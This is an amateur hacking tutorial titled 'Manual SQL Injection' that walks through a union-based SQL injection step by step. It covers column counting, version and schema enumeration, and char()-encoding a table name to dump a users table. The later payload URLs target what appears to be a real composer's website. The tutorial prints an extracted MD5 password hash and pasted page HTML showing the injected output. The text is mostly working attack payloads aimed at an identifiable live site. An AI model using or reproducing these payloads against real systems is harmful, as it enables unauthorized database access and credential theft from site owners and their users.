MANUAL SQL INJECTION By C0dersec

________                  ___ ___        .__
\______ \ _____  ________/   |   \  ____ |  |   _____   ____   ______
 |    |  \\__  \ \___   /    ~    \/  _ \|  |  /     \_/ __ \ /  ___/
 |    `   \/ __ \_/    /\    Y    (  <_> )  |_|  Y Y  \  ___/ \___ \
/_______  (____  /_____ \\___|_  / \____/|____/__|_|  /\___  >____  >
        \/     \/      \/      \/                   \/     \/     \/


##By Daz Holmes Inj3ct0rs
## www.example.com/post.php?id=276 Order by 10-- :No Error At it's highest table.
## www.example.com/post.php?id=276 union all select 1,2,3,4,5,6,7,8,9,10--    :Their will Appear some numbers
##The Number you Need will be Black and bold Witch is in my case is 6
##www.example.com/post.php?id=276 union all select 1,2,3,4,5,version(),7,8,9,10-- :So Now You take, the Number 6 and replace with Version() This will give you the version of the sql database 5.1.61-0+squeeze1
## www.example.com/post.php?id=276 union all select 1,2,3,4,5,table_name,7,8,9,10 from information_schema.tables  :Now Remove the Version and add table_name And take the -- of the end and add from information_schema.tables Now you see the tables I see ck_users Now you will need to code this into ascii So here is the, link http://easycalculation.com/ascii-hex.php
When u type in their u will want the Equivalent Decimal / Ascii Value And u need to remove the spaces like so 99,107,95,117,115,101,114,115
Now Add this to you're following link  from information_schema.columns where table_name=char(99,107,95,117,115,101,114,115 )-- With you're own code And change Table_names to column_name You should look like this http://www.johandemeij.com/post.php?id=276%20union%20all%20select%201,2,3,4,5,column_name,7,8,9,10%20from%20information_schema.columns%20where%20table_name=char%2899,107,95,117,115,101,114,115%20%29--
##Now i See passwordNow remove Column_name And add password and Remove all the rest you should look like this http://www.johandemeij.com/post.php?id=276%20union%20all%20select%201,2,3,4,5,password,7,8,9,10%20from%20ck_users-

#So now i see the md5 hash password 7bf5d02375375bb1066f2ebb8b9e0fff Hope, this helped. End results look like this.



<div id="leftColumn"><h1></h1><div class="clr"></div><div class="indexPostEntry"><div class="indexPostImage"><ul><li><img src="images/posts/siena%20wind%20orchestra.jpg" width="188"></li>
	<li class="caption"></li></ul></div><div class="indexPostContent"><ul><li class="indexPostDate">2012-10-23</li><div class="indexPostTitle">Back to Japan again!</div><div class="indexPostContent"><p>
	I am very excited to be invited back to Japan this Fall. This time with the famous SIENA WIND ORCHESTRA, one of the top professional ensembles in Japan.</p>
<p>
	The concert will be recorded live, to be released on CD.</p>
<p>
	Program:</p>
<p>
	Aladdin Suite&nbsp;- &nbsp;Carl Nielsen/Arr. Johan de Meij<br>
	Casanova&nbsp;(cello &amp; wind orchestra) – Johan de Meij<br>
	Angelo del Cielo (cello &amp; wind orchestra) - Puccini/Arr. JdM<br>
	Cello soloist: Dai Miyata<br>
	.-.-.-.-. Intermission .-.-.-.-..<br>
	Symphony no. 1 The Lord of the Rings- Johan de Meij<br>
	Encore:&nbsp;'Dance I' from Jazz Suite No. 2 - Dmitri Shostakovich/Arr.JdM</p>
<p>
	November 17, 2012 3 pm Minato Mirai Hall, Yokohama (Japan)</p>
</div></ul></div><div class="clr"></div></div><div class="indexPostEntry"><div class="indexPostImage"><ul><li><img src="images/posts/9" width="188"></li>
	<li class="caption">10</li></ul></div><div class="indexPostContent"><ul><li class="indexPostDate">3</li><div class="indexPostTitle">7bf5d02375375bb1066f2ebb8b9e0fff</div><div class="indexPostContent">5</div></ul></div><div class="clr"></div></div><div class="indexPostEntry"><div class="indexPostImage"><ul><li><img src="images/posts/9" width="188"></li>
	<li class="caption">10</li></ul></div><div class="indexPostContent"><ul><li class="indexPostDate">3</li><div class="indexPostTitle">7bf5d02375375bb1066f2ebb8b9e0fff</div><div class="indexPostContent">5</div></ul></div><div class="clr"></div></div><a href="news.php">&lt; back to news</a></div>